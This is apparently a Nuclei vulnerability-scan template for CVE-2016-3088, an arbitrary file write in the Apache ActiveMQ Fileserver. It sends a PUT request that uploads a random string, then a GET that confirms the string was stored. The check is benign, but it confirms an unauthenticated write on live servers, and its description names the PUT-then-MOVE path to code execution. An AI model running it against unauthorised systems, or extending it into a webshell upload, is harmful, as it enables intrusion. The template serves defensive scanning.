id: CVE-2016-3088

info:
  name: ActiveMQ Arbitrary File Write Vulnerability (CVE-2016-3088)
  author: fq_hsu
  severity: high
  description: The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.
  reference:
    - https://www.exploit-db.com/exploits/40857
    - http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2016-3088
  tags: fileupload,cve,cve2016,apache,activemq

requests:
  - raw:
      - |
        PUT /fileserver/test.txt HTTP/1.1
        Host: {{Hostname}}

        {{randstr}}

  - raw:
      - |
        GET /fileserver/test.txt HTTP/1.1
        Host: {{Hostname}}

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_0==204"
          - "status_code_1==200"
          - "contains((body_1), '{{randstr}}')"
        condition: and